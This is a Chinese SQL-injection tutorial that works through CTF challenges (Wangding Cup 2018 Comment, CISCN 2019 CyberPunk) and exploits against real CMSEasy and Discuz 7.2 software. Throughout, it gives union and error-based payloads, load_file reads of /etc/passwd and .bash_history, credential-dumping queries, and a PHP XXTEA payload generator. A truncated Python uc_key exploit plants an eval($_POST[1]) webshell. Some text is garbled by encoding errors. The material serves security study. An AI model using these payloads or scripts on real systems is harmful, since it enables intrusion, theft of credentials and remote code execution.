2024全网最全面及最新且最为详细的网络安全技巧四 之 lsql注入以及mysql绕过技巧 (1)———— 作者:LJS

news2024/11/24 15:44:08
  • 目录

    4. SQL注入基础之联合查询

    什么是SQL注入漏洞

    SQL注入原理

    SQL注入带来的危害

    注入按照注入技术(执行效果)分类

    简单联合查询注入语句

    4.1 [网鼎杯 2018]Comment二次注入

    正好总结一下绕过addslashes的方式

    4.2 ciscn2019web5CyberPunk

    复现平台

    解题过程

    payload构造

    payload使用

    4.3 cmseasy注入漏洞

    4.3.1 后台未授权访问

    4.4 Discuz!7.2 SQL注入复现实验

    4.4.1 实验准备

    实验原理

    实验工具:

    UCenter+Discuz 7.2安装包

    4.4.2 SQL注入漏洞复现

    漏洞形成原因

    扩展,利用uc_key写入一句话木马进行getshell(此出不在注释了,后期学有余力会二改+注释的)

    python脚本提供给大家http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)


  • 4. SQL注入基础之联合查询

  • 什么是SQL注入漏洞

  • 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库乃至整个应用系统的入侵
  • SQL注入原理

  • 服务端没有过滤用户输入的恶意数据,直接把用户输入的数据当做SQL语句执行,从而影响数据库安全和平台安全
  • SQL注入带来的危害

  • 绕过登录验证:使用万能密码登录网站后台等
  • 获取敏感数据:获取网站管理员帐号、密码等
  • 文件系统操作:列目录,读取、写入文件等
  • 注册表操作:读取、写入、删除注册表等
  • 执行系统命令:远程执行命令
  • 注入按照注入技术(执行效果)分类

  • 基于布尔的盲注基于时间的盲注基于报错的注入联合查询注入堆查询注入
  • 简单联合查询注入语句

  • 1. id=1' order by xxx--+ xxx代表列数
    
    ​2. id=-1' union select 1,2,3,4,xxx--+ 查询出有几列,数字就为几个,例如有5列,数字就是1,2,3,4,5​
    
    3. id=-1' union select 1,2,3,4 看回显字段,假设为2,3​
    
    4. id=-1' union select 1,database(),version(),4--+  可以看到当前数据库名称 以及当前数据库版本​
    
    5. id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3,4 --+ 查询当前数据库下 所有表名
    ​
    6. id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='admin_user'),3,4 --+ 查询当前数据库下,想要查询表的所有列名
    
    ​7. id=-1' union select 1,group_concat(username,0x3a,password),3,4 from users--+
  • 4.1 [网鼎杯 2018]Comment二次注入

  • 登录,是一个类似留言板的界面,考虑二次注入 git源码泄露
  • 这里要恢复一下文件,否则文件内容显示不全
  • //write_do.php
    <?php
    include "mysql.php";
    session_start();
    if($_SESSION['login'] != 'yes'){
        header("Location: ./login.php");
        die();
    }
    if(isset($_GET['do'])){
    switch ($_GET['do'])
    {
    case 'write':
        $category = addslashes($_POST['category']);
        $title = addslashes($_POST['title']);
        $content = addslashes($_POST['content']);
        $sql = "insert into board
                set category = '$category',
                    title = '$title',
                    content = '$content'";
        $result = mysql_query($sql);
        header("Location: ./index.php");
        break;
    case 'comment':
        $bo_id = addslashes($_POST['bo_id']);
        $sql = "select category from board where id='$bo_id'";
        $result = mysql_query($sql);
        $num = mysql_num_rows($result);
        if($num>0){
        $category = mysql_fetch_array($result)['category'];
        $content = addslashes($_POST['content']);
        $sql = "insert into comment
                set category = '$category',
                    content = '$content',
                    bo_id = '$bo_id'";
        $result = mysql_query($sql);
        }
        header("Location: ./comment.php?id=$bo_id");
        break;
    default:
        header("Location: ./index.php");
    }
    }
    else{
        header("Location: ./index.php");
    }
    ?>
    
    /*a. 发布新的文章(write)
    从$_POST中获取category、title和content,并使用addslashes函数防止SQL注入(不过这个方法已不推荐,现代开发应使用参数化查询或准备语句)。
    构建SQL插入语句,将数据插入到board表中。
    执行SQL查询。
    重定向到index.php页面。
    b. 发表评论(comment)
    从$_POST中获取bo_id,并使用addslashes防止SQL注入。
    查询board表中对应bo_id的记录,获取其category。
    如果查询结果存在(即该bo_id有效),则从$_POST中获取评论的内容,并使用addslashes防止SQL注入。
    构建SQL插入语句,将评论数据插入到comment表中。
    执行SQL查询。
    重定向到comment.php页面,并传递bo_id以显示对应的评论。
     默认行为
    如果$_GET['do']未设置或不匹配任何已知操作,则默认重定向到index.php。*/
  • 这里的write和comment分别对应发帖和留言界面
  • 可以看到所有参数都进行了addslashes函数处理
  • 正好总结一下绕过addslashes的方式

  • 设置数据库字符为gbk导致宽字节注入
    使用icon,mb_convert_encoding转换字符编码函数导致宽字节注入
    url解码导致绕过addslashes
    base64解码导致绕过addslashes
    json编码导致绕过addslashes
    没有使用引号保护字符串,直接无视addslashes
    使用了stripslashes(去掉了\)
    字符替换导致的绕过addslashes
    
  • 上述参考:https://bbs.ichunqiu.com/thread-10899-1-1.html
  • 12345678910
  • 闭合情况如下
  • insert into comment
           set category = ' ',content=user(),/*',
               content = '*/#',
               bo_id = '$bo_id'";
    1234
  • 很明显的二次注入。先addslashes转义存入数据库。再从数据库中查询放入sql语句。没有进行转义注
  • 进入数据库后是没有反斜杠的,这样comment操作时直接取出单引号就能闭合了
  • 注意#是单行注释
  • ',content=(select(load_file("/etc/passwd"))),/*
  • 接下来读取文件,注意看到/home/www下以bash身份运行
  • ,content=(select(load_file("/home/www/.bash_history")))
    
    ',content=(select(load_file("/tmp/html/.DS_Store"))),
  • 未显示完全,用hex编码显示
  • ',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
    
    ',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),
  • j结果发现发现flag是假的,最后这个才是真的
  • ',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),
  • 4.2 ciscn2019web5CyberPunk

  • 刚比赛完的一段时间期末考试云集,没有时间复现题目。趁着假期,争取多复现几道题。
  • 复现平台

  • buuoj.cn
  • 解题过程

  • 首先进入题目页面
  • 看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。
  • <!--?file=?-->
  • 这里可能有一个文件包含,尝试payload
  • http://xxx.xxx/index.php?file=php://filter/convert.base64-encode/resource=index.php
  • 结果得到了当前页面经过加密后的源码
  • 有关伪协议的内容,可以大致参考下这篇文章:https://www.cnblogs.com/dubhe-/p/9997842.html

  • <?php
    ini_set('open_basedir', '/var/www/html/');
    
    // $file = $_GET["file"];
    $file = (isset($_GET['file']) ? $_GET['file'] : null);
    if (isset($file)){
        if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
            echo('no way!');
            exit;
        }
        @include($file);
    }
    ?>
    //HTML页面的代码省略,保留之前说的注释
    /*首先,通过 isset($file) 检查 $file 是否被设置。如果未设置,则不会执行后续代码。
    接下来,使用 preg_match 函数检查 $file 中是否包含某些危险的协议或字符序列(如 phar, zip, bzip2, zlib, data, input, %00)。这些协议或字符序列在某些情况下可能会被利用进行文件包含攻击或注入攻击。
    正则表达式 /phar|zip|bzip2|zlib|data|input|%00/i 中:
    phar, zip, bzip2, zlib, data, input 是一些常见的流包装器。
    %00 是空字符的 URL 编码形式。
    /i 是正则表达式的修饰符,表示大小写不敏感。
    如果匹配成功,说明 $file 中包含这些危险的协议或字符序列,脚本会输出 no way! 并调用 exit 函数终止执行。*/
    <!--?file=?-->
  • 用同样的方法,根据表单中暴露的位置,获取confirm.php,change.php,search.php等页面的内容。
  • <?php
    #change.php
    require_once "config.php";
    
    if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $address = addslashes($_POST["address"]);
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql); //如果没有检测到 SQL 注入问题,就会构建一个 SQL 查询来查找匹配的用户记录。
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "订åä
    /*如果查询结果存在且有记录,使用 fetch_assoc 获取用户数据。
    构建一个 SQL 更新语句,
    将新地址更新到 address 字段,并将旧地址保存到 old_address 字段。
    执行更新操作。如果出错,输出错误信息并退出程序。
    如果更新成功,则设置 $msg 为 "Address updated successfully!".
    */
    
  • <?php
    #search.php
    require_once "config.php"; 
    
    if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
    {
        $msg = '';
        $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
        $user_name = $_POST["user_name"];
        $phone = $_POST["phone"];
        if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
            $msg = 'no sql inject!';
        }else{
            $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
            $fetch = $db->query($sql);
        }
    
        if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            if(!$row) {
                echo 'error';
                print_r($db->error);
                exit;
            }
            $msg = "<p>å§å:".$row['user_name']."</p><p>, çµè¯:".$row['phone']."</p><p>, å°å:".$row['address']."</p>";
        } else {
            $msg = "æªæ¾å°è®¢å!";
        }
    }else {
        $msg = "ä¿¡æ¯ä¸å¨";
    }
    ?>
    #无用的HTML代码省略
  • 分析代码可以知道,每个涉及查询的界面都过滤了很多东西来防止SQL注入,而且过滤的内容非常广泛,很难进行注入。
  • 但是尽管username和phone过滤非常严格,而address却只是进行了简单的转义。经过分析便找到了可以利用的地方。这里提取了一些change.php中和address相关的部分。
  • $address = addslashes($_POST["address"]);
    if (isset($fetch) && $fetch->num_rows>0){
            $row = $fetch->fetch_assoc();
            $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
            $result = $db->query($sql);
            if(!$result) {
                echo 'error';
                print_r($db->error);
                exit;
            }
  • 可以看出,address会被转义,然后进行更新,也就是说单引号之类的无效了。但是,在地址被更新的同时,旧地址被存了下来。如果第一次修改地址的时候,构造一个含SQL语句特殊的payload,然后在第二次修改的时候随便更新 一个正常的地址,那个之前没有触发SQL注入的payload就会被触发。
  • 思路有了以后,接下来就是构造payload,下面将借助报错注入来构造payload
  • payload构造

  • 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)
    
    #where user_id=:这是一个SQL查询中的条件语句,表明要对user_id进行条件过滤。
    updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1):
    updatexml 是MySQL的一个函数,用于更新XML数据。
    在这里,它被利用来执行一个子查询,这个子查询的目的是从文件/flag.txt中读取前20个字符的内容。
    load_file('/flag.txt'):尝试加载/flag.txt文件的内容。
    substr(load_file('/flag.txt'),1,20):从加载的文件内容中提取前20个字符。
    concat(0x7e,...,0x7e):将获取的文件内容用波浪号 ~ 包围起来,这是为了标识从文件中提取的内容。

直接load_file不能显示全这里分两次构造payload

  • 1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)
    
  • payload使用

  • 两个payload的使用方法为:(图片暂时无法加载除来)
  • 先在初始页面随便输数据,记住姓名电话
  • https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/givemoney.png
  • 接着修改地址,地址修改为所构造的payload。修改之后再次修改,将地址设置为随便一个正常值,比如1,这样就能看到报错页面
  • ​​​​​​https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/change.png​​​​​​
  • 如果想要使用新的payload,只需要删除订单在重复以上操作即可。 https://markdown-1255584210.cos.ap-chengdu.myqcloud.com/day1web1/change.png

cmseasy后台可以未授权访问,在/lib/admin/admin.php中:

  • 4.3 cmseasy注入漏洞

  • 4.3.1 后台未授权访问

  • if (!defined('ROOT')) exit('Can\'t Access !');
    abstract class admin extends act {
        function __construct() {
            if (ADMIN_DIR!=config::get('admin_dir')) {
                config::modify(array('admin_dir'=>ADMIN_DIR));
                front::flash('后台目录更改成功!');
            }
    /*这段代码首先比较定义的 ADMIN_DIR 常量与配置文件中的后台目录设置是否一致。
    如果不一致,则通过 config::modify 方法修改配置文件中的 admin_dir 设置为 ADMIN_DIR 的值,
    并显示一条提示消息(flash message)给用户。*/
            front::$rewrite=false;
    /*这行代码将 URL 重写功能关闭。URL 重写通常用于美化网站的 URL 结构,
    但在后台管理界面可能不需要这种功能。*/
            parent::__construct();
    /*调用父类 act 的构造函数。
    这里假设 admin 类直接或间接地继承自 act 类。*/
            $servip = gethostbyname($_SERVER['SERVER_NAME']);
            //if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
            if($servip==front::ip()&&front::get('ishtml')==1) return;
            $this->check_admin();
        }
    /*这段代码首先检查当前访问服务器的 IP 地址是否与前台定义的 IP 地址一致,并且 ishtml 参数为 1。
    如果是,则直接返回,不执行后面的管理员权限检查。
    否则,调用 check_admin() 方法,用于检查当前用户是否有管理员权限。
    */
  • 这个抽象类是所有后台类继承得到的,当用户IP(可以通过x-forwarded-for伪造)和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问。
  • 此时同学们思考,需要如何绕过这个验证
  • 修改IP以后在后台url后加上ishtml=1,即可访问后台页面。可看到cookie安全码
  • avatar

  •  拿到了这个安全码,看看能如何利用,此时我们需要找到调用安全码的函数。看到/lib/admin/admin_act.php,58行:
  • function remotelogin_action() {
        cookie::del('passinfo'); // 删除名为'passinfo'的cookie
    
        // 检查是否有名为'loginfalse'加密后的错误登录计数
        $this->view->loginfalse = cookie::get('loginfalse' . md5($_SERVER['REQUEST_URI']));
    
        // 如果有传入参数
        if (front::$args) {
            $user = new user();
            
            // 解密传入的参数,并使用配置中的密码解码
            $args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
            
            // 从解密后的参数反序列化出用户对象
            $user = $user->getrow(unserialize($args));
            
            // 如果返回的用户是一个数组(即用户存在)
            if (is_array($user)) {
                // 如果用户的组ID是'888',标记为管理员登录
                if ($user['groupid'] == '888')
                    front::$isadmin = true;
    
                // 设置登录用户名和加密后的密码到cookie和session中
                cookie::set('login_username', $user['username']);
                cookie::set('login_password', front::cookie_encode($user['password']));
                session::set('username', $user['username']);
                
                // 导入必要的配置文件和类文件
                require_once ROOT . '/celive/include/config.inc.php';
                require_once ROOT . '/celive/include/celive.class.php';
                
                // 创建celive实例,并进行认证
                $login = new celive();
                $login->auth();
                
                // 调用全局认证类的远程登录方法
                $GLOBALS['auth']->remotelogin($user['username'], $user['password']);
                $GLOBALS['auth']->check_login1();
                
                // 设置当前用户信息到全局变量中
                front::$user = $user;
            } else {
                // 如果返回的不是数组,或者未设置管理员标记
                // 增加'loginfalse'的错误登录计数,并设置有效期
                cookie::set('loginfalse' . md5($_SERVER['REQUEST_URI']), (int) cookie::get('loginfalse' . md5($_SERVER['REQUEST_URI'])) + 1, time() + 3600);
                
                // 记录登录失败日志
                event::log('loginfalse', '失败 user=' . $user['username']);
                
                // 提示密码错误或管理员不存在
                front::flash('密码错误或不存在该管理员!');
                
                // 重定向到管理员登录页面
                front::refresh(url('admin/login', true));
            }
        }
        
        // 渲染视图
        $this->render();
    }
    
  • 远程登录的函数,先获得$args,并base64解码,解码以后再xxtea解密(密钥就是刚才得到的字符串),解密以后再反序列化得到一个对象,直接放进数据库中查询。
  • 此时继续思考,首先我们需要一个cookie密钥,再次我们需要怎么反推来满足他的需求,毕竟是通过base64过的数据直接放入数据库,并未过滤,随便绕过waf
  • 脚本如下。把xxtea的加密函数拷贝出来,将注入语句构造好,输出来:
  • /*知识点补充:
    加密和解密函数定义
    xxtea_encrypt($str, $key): 使用XXTEA算法对字符串 $str 进行加密,使用密钥 $key。
    xxtea_decrypt($str, $key): 使用XXTEA算法对加密后的字符串 $str 进行解密,使用相同的密钥 $key。
    字符串转换函数
    
    long2str($v, $w): 将长整型数组 $v 转换为字符串。如果 $w 为 true,则根据数组中的最后一个元素指定长度截断字符串。
    str2long($s, $w): 将字符串 $s 转换为长整型数组。如果 $w 为 true,则数组末尾添加字符串长度。
    辅助函数
    
    int32($n): 将输入的整数 $n 限制在32位有符号整数范围内。*/
    
    <?php
    
    $key = 'xxx';
    
    $table = array(
        'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
    );
    
    echo base64_encode(xxtea_encrypt(serialize($table), $key));
    
    function xxtea_encrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, true);
        $k = str2long($key, false);
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0;
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = 0;
        while (0 < $q--) {
            $sum = int32($sum + $delta);
            $e = $sum >> 2 & 3;
            for ($p = 0; $p < $n; $p++) {
                $y = $v[$p + 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $z = $v[$p] = int32($v[$p] + $mx);
            }
            $y = $v[0];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$n] = int32($v[$n] + $mx);
        }
        return long2str($v, false);
    }
    
    function xxtea_decrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, false);
        $k = str2long($key, false);
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0;
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = int32($q * $delta);
        while ($sum != 0) {
            $e = $sum >> 2 & 3;
            for ($p = $n; $p > 0; $p--) {
                $z = $v[$p - 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $y = $v[$p] = int32($v[$p] - $mx);
            }
            $z = $v[$n];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[0] = int32($v[0] - $mx);
            $sum = int32($sum - $delta);
        }
        return long2str($v, true);
    }
    
    function long2str($v, $w) {
        $len = count($v);
        $n = ($len - 1) << 2;
        if ($w) {
            $m = $v[$len - 1];
            if (($m < $n - 3) || ($m > $n)) return false;
            $n = $m;
        }
        $s = array();
        for ($i = 0; $i < $len; $i++) {
            $s[$i] = pack("V", $v[$i]);
        }
        if ($w) {
            return substr(join('', $s), 0, $n);
        }
        else {
            return join('', $s);
        }
    }
    
    function str2long($s, $w) {
        $v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
        $v = array_values($v);
        if ($w) {
            $v[count($v)] = strlen($s);
        }
        return $v;
    }
    
    function int32($n) {
        while ($n >= 2147483648) $n -= 4294967296;
        while ($n <= -2147483649) $n += 4294967296;
        return (int)$n;
    }
    
  • 对上段代码的主要注释:
  • //加密过程 (xxtea_encrypt 函数)
    function xxtea_encrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, true); // 将字符串转换为长整型数组,末尾加上字符串长度信息
        $k = str2long($key, false); // 将密钥转换为长整型数组
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0; // 如果密钥长度不足4,用0填充
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = 0;
        while (0 < $q--) {
            $sum = int32($sum + $delta);
            $e = $sum >> 2 & 3;
            for ($p = 0; $p < $n; $p++) {
                $y = $v[$p + 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $z = $v[$p] = int32($v[$p] + $mx);
            }
            $y = $v[0];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $z = $v[$n] = int32($v[$n] + $mx);
        }
        return long2str($v, false); // 将加密后的长整型数组转换为字符串,不截断
    }
    
    
    //解密过程 (xxtea_decrypt 函数)
    function xxtea_decrypt($str, $key) {
        if ($str == "") {
            return "";
        }
        $v = str2long($str, false); // 将加密后的字符串转换为长整型数组
        $k = str2long($key, false); // 将密钥转换为长整型数组
        if (count($k) < 4) {
            for ($i = count($k); $i < 4; $i++) {
                $k[$i] = 0; // 如果密钥长度不足4,用0填充
            }
        }
        $n = count($v) - 1;
    
        $z = $v[$n];
        $y = $v[0];
        $delta = 0x9E3779B9;
        $q = floor(6 + 52 / ($n + 1));
        $sum = int32($q * $delta);
        while ($sum != 0) {
            $e = $sum >> 2 & 3;
            for ($p = $n; $p > 0; $p--) {
                $z = $v[$p - 1];
                $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
                $y = $v[$p] = int32($v[$p] - $mx);
            }
            $z = $v[$n];
            $mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
            $y = $v[0] = int32($v[0] - $mx);
            $sum = int32($sum - $delta);
        }
        return long2str($v, true); // 将解密后的长整型数组转换为字符串,并根据数组最后一个元素指定的长度截断字符串
    }
    
    //主程序部分
    $key = 'xxx'; // 设置加密解密使用的密钥
    
    $table = array(
        'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#' => 1
    ); // 待加密的数组
    
    $serialized = serialize($table); // 将数组序列化
    $encrypted = xxtea_encrypt($serialized, $key); // 使用XXTEA算法加密序列化后的数组
    $encoded = base64_encode($encrypted); // 对加密后的结果进行Base64编码
    
    echo $encoded; // 输出最终加密并编码的结果
    
    
  • 为什么要构造这样的一个注入,我们需要深入程序继续看
  • a:1:{s:132:"userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#";i:1;}
    
    #从 cmseasy_user 表中选择每个用户的用户名和密码的连接结果。在这里,concat(username,0x23,password) 使用 SQL 函数 concat() 将用户名和密码以 # 符号(0x23 的 ASCII 字符)连接起来。
  • Array ( [userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#] => 1 )​
    
    #数组的键部分试图通过 SQL 注入来操纵 SQL 查询。
    SELECT * FROM `cmseasy_settings` WHERE `tag`='table-fieldset' ORDER BY 1 desc limit 1                           
    #从 cmseasy_settings 表中选择 tag 为 table-fieldset 的记录,并按第一列降序排序,限制返回一条记录。
    SELECT * FROM `cmseasy_user` WHERE userid>0 ORDER BY 1 desc limit 1
    #从 cmseasy_user 表中选择 userid 大于 0 的记录,按第一列降序排序,限制返回一条记录。
    SELECT * FROM `cmseasy_user` WHERE `userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#`='1' ORDER BY 1 desc limit 1\
    #,concat(username,0x23,password) 将用户名和密码连接在一起,中间用 # 分隔(0x23 是 # 的 ASCII 码),回显形式为 username#password。
  • Array ( [userid] => 1 [username] => admin#21232f297a57a5a743894a0e4a801fc3 [password] => 3 [nickname] => 4 [groupid] => 5 [checked] => 6 [qqlogin] => 7 [alipaylogin] => 8 [avatar] => 9 [userip] => 10 [state] => 11 [qq] => 12 [e_mail] => 13 [address] => 14 [tel] => 15 [question] => 16 [answer] => 17 [intro] => 18 [point] => 19 [introducer] => 20 )
    
  • 获得加密后的字符串如下: 
  • avatar

  • 我们需要构造如下语句,就可以将cookie设置成注入获得的数据:
  • http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=xxxx
  • avatar

  • 4.4 Discuz!7.2 SQL注入复现实验

  • 4.4.1 实验准备

  • 实验原理

  • Discuz7.2 SQL注入漏洞利用PHP特性突破GPC,形成SQL注入漏洞。
  • 实验工具:

  • UCenter+Discuz 7.2安装包
  • 安装过程,在这里直接忽略
  • 4.4.2 SQL注入漏洞复现

  • 漏洞形成原因

  • } elseif($action == 'grouppermission') {
    
    ...
    ...
    	ksort($gids);//数组 $gids 按键名进行升序排序。
    	$groupids = array();
    	foreach($gids as $row) {
    		$groupids[] = $row[0];
    	}
    
    	$query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
    /*
    从两个表 usergroups 和 admingroups 中选择数据,并进行左连接。
    {$tablepre} 通常是表前缀,这种做法是在应用程序中动态处理不同环境或数据库表名前缀的惯用方法。
    u LEFT JOIN a:使用左连接,将 usergroups 表中的数据与 admingroups 表中的数据根据 groupid 和 admingid 进行连接。
    WHERE u.groupid IN (".implodeids($groupids)."):限制查询结果,
    只选择 groupid 在 $groupids 列表中的记录。
    implodeids($groupids) 将 $groupids 数组转化为一个逗号分隔的字符串,
    适用于 SQL 的 IN 子句中。*/
  • 重点看上面几行代码
  • 首先定义一个数组groupids,然后遍历$gids(这也是个数组,就是$_GET[gids]),将数组中的所有值的第一位取出来放在groupids中。
  • 为什么这个操作就造成了注入?
  • discuz在全局会对GET数组进行addslashes转义,也就是说会将'转义成',所以,如果我们的传入的参数是:gids[1]='的话,会被转义成$gids[1]=',而这个赋值语句$groupids[] = $row[0]就相当于取了字符串的第一个字符,也就是\,把转义符号取出来了。
  • 再看后面,在将数据放入sql语句前,他用implodeids处理了一遍。我们看到implodeids函数:
  • function implodeids($array) {
    	if(!empty($array)) {
    		return "'".implode("','", is_array($array) ? $array : array($array))."'";
    	} else {
    		return '';
    	}
    }
  • 很简单一个函数,就是将刚才的$groupids数组用','分割开,组成一个类似于'1','2','3','4'的字符串返回。
  • 但是我们的数组刚取出来一个转义符,它会将这里一个正常的'转义掉,比如这样:
  • '1','\','3','4'
  • 有没有看出有点不同,第4个单引号被转义了,也就是说第5个单引号和第3个单引号闭合。这样3这个位置就等于逃逸出了单引号,也就是产生的注入。我们把报错语句放在3这个位置,就能报错:http://chuantu.xyz/t6/741/1609987267x1033348220.png
     
  • 扩展,利用uc_key写入一句话木马进行getshell(此出不在注释了,后期学有余力会二改+注释的)

  • #! /usr/bin/env python
    #coding=utf-8
    import hashlib
    import time
    import math
    import base64
    import urllib
    import urllib2
    import sys
     
    def microtime(get_as_float = False) :
        if get_as_float:
            return time.time()
        else:
            return '%.8f %d' % math.modf(time.time())
     
    def get_authcode(string, key = ''):
        ckey_length = 4
        key = hashlib.md5(key).hexdigest()
        keya = hashlib.md5(key[0:16]).hexdigest()
        keyb = hashlib.md5(key[16:32]).hexdigest()
        keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
        #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:]
        cryptkey = keya + hashlib.md5(keya+keyc).hexdigest()
     
        key_length = len(cryptkey)
        string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
        string_length = len(string)
        result = ''
        box = range(0, 256)
        rndkey = dict()
        for i in range(0,256):
            rndkey[i] = ord(cryptkey[i % key_length])
        j=0
        for i in range(0,256):
            j = (j + box[i] + rndkey[i]) % 256
            tmp = box[i]
            box[i] = box[j]
            box[j] = tmp
        a=0
        j=0
        for i in range(0,string_length):
            a = (a + 1) % 256
            j = (j + box[a]) % 256
            tmp = box[a]
            box[a] = box[j]
            box[j] = tmp
            result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
        return keyc + base64.b64encode(result).replace('=', '')
     
    def get_shell(url,key,host):
        '''
        发送命令获取webshell
        '''
        headers={'Accept-Language':'zh-cn',
        'Content-Type':'application/x-www-form-urlencoded',
        'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
        'Referer':url
        }
        tm = time.time()+10*3600
        tm="time=%d&action=updateapps" %tm
        code = urllib.quote(get_authcode(tm,key))
        url=url+"?code="+code
        data1='''<?xml version="1.0" encoding="ISO-8859-1"?>
                <root>
                <item id="UC_API">http://xxx\');eval($_POST[1]);//</item>
                </root>'''
        try:
    
  • python脚本提供给大家http://www.xxx.com/faq.php?action=grouppermission&gids[99]='&gids[100][0]=)

  • and (select 1 from (select count(*),concat((select (select (selectconcat(username,0x27,password) from cdb_members limit 1) ) from`information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tablesgroup by x)a)%23
